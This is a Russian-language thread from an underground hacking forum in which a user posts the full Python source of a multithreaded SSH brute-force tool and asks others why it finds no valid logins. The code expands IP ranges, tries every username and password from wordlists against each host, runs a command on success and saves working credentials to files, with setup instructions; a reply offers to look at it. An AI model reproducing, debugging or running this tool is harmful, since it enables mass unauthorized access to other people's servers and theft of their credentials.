python ssh brute

  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

teranser

VIP

teranser

VIP
6 Янв 2017
476
257
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
скорость потоков падает со временем а гудов я так и не получил. Кто шурупит - посмотрите в сорцы
________________________
start.py
Код:
#!/usr/bin/env python
#-*- coding: utf-8 -*-

# ----------------------------------------------------------
# coded by Ar3s
# How to use: python start.py
# Profit!
# ----------------------------------------------------------
import os
import re
import threading
import paramiko
import socket
import struct
import subprocess
import random
from file import io


#system
os.system('clear')
file = io()
thread_count = 100

def printer(data):
   lock = threading.Lock()
   lock.acquire()
   #os.system('clear')
   print data
   lock.release()

def cleaner(list):
   try:
  list = dict([(item, None) for item in list]).keys()
   except:
  print 'Ошибка выборки уникальных значений из списка.'
   return list

def ip_builder(from_ip, to_ip):
   ips = []
   from_ip = re.sub("^\s+|\n|\r|\s+$", '', from_ip)
   to_ip = re.sub("^\s+|\n|\r|\s+$", '', to_ip)
   try:
  start = struct.unpack('>I', socket.inet_aton(from_ip))[0]
  end = struct.unpack('>I', socket.inet_aton(to_ip))[0]
  ips = [socket.inet_ntoa(struct.pack('>I', i)) for i in range(start, end)]
  return ips
   except:
  print 'Неверно задан диапазон'
  return ips

def ssh_cmd(ip, user, passwd, cmd):
   client = paramiko.SSHClient()
   client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
   try:
  client.connect(ip, username=user, password=passwd)
  ssh_session = client.get_transport().open_session()
  if ssh_session.active:
     printer(user+':'+passwd+'@'+ip)
     ssh_session.exec_command(command)
     data = user+':'+passwd+'@'+ip
     status = file.writeto('good.txt', data)
     data = data+'\t'+ssh_session.recv(1024)
     status = file.writeto('good_full.txt', data)
   except:
  status = False
 
   return

def ssh_connect(ip, user, passwd):
   for u in xrange(len(user)):
  usr = re.sub("^\s+|\n|\r|\s+$", '', user[u])
  for p in xrange(len(passwd)):
     pasw = re.sub("^\s+|\n|\r|\s+$", '', passwd[p])
     ssh_cmd(ip, usr, pasw, 'id')
     #printer(usr+':'+pasw+'@'+ip)

def main():
   global thread_count
   ips = []
   ip = []
   # Читаем диапазоны
   status, ips = file.readfrom('range.txt')
   if (status == True):
  print 'Загружено ' +str(len(ips))+' диапазонов!'
  for line in ips:
     start_ip, finish_ip = line.strip().split('-')
     for item in (ip_builder(start_ip, finish_ip)):
    ip.append(item)

   if (status == True):
  try:
     ip = cleaner(ip)
     random.shuffle(ip)
     print 'В задании '+str(len(ip))+' ip!'
     status = True
  except:
     print 'Ошибка обработки IP'
     status = False
  
   # Читаем логины
   status, user = file.readfrom('login.txt')
   user = cleaner(user)
   print 'В задании '+str(len(user))+' логинов'
  
   # Читаем пароли
   status, passwd = file.readfrom('pass.txt')
   passwd = cleaner(passwd)
   print 'В задании '+str(len(passwd))+' паролей'
  
   # Запускаем потоки
   threads = []
   count = 0
   while count < len(ip):
  for i in xrange(thread_count):
     try:
    thread = threading.Thread(target=ssh_connect, args=(ip[count], user, passwd))
    thread.start()
    threads.append(thread)
     except:
    count = count
     count += 1

  for t in threads:
     try:
    t.join()
     except:
    tt = 1


# start main function
if __name__ == '__main__':
        main()
file.py

Код:
#coding: utf-8

import time
import sys
import threading
import types

LOCK = threading.RLock()
folder = './cfg/'

class io:
   def readfrom(self, name):
  if (name == ''):
     print 'Не указано имя файла для чтения!'
     status = False
  else:
     data = []
     try:
    with open(folder+name, 'r') as rf:
       for line in rf:
      data.append(line)
    status = True
     except IOError:
    print "Не найден файл: "+name
    status = False
     except ValueError:
    print "Неверный формат файла: "+name
    status = False
  if (status == True):
     return status, data
  else:
     data = []
     return status, data
 
  

   def writeto(self, name, data):
  if not name or not data:
     print 'Не указано имя файла или отсутствуют данные для записи в файл'
     return False
  else:
     filename = folder+name
     for i in xrange(5):
    try:
       with LOCK:
      with open(filename, 'a') as out:
         if isinstance(data, basestring):
        out.write(data+'\n')
         else:
        for i in data:
           out.write(i+'\n')
       return True
    except:
       time.sleep(0.5)
     print '5 попыток записи в файл оказались неудачными. Проверьте права на каталог и на файл для записи.'
     return False
так же создаем папку cfg, в которой создаем файлы good.txt good_full.txt login.txt pass.txt range.txt
Права на файлы 777

Чего не реализовано - нет проверки онлайн хост или нет, на каждый ip брутит весь список даже если нет ответа. Доработать не проблема если понять почему срабатываний-то нет.
 
  • Лайк
Reactions: sergey021

barabas

Участник

barabas

Участник
2 Июл 2017
2
0
Если тебе еще интересно, то скинь мне сам сорс. А то тут он плохо читаем (форматировать лень).
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2024

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя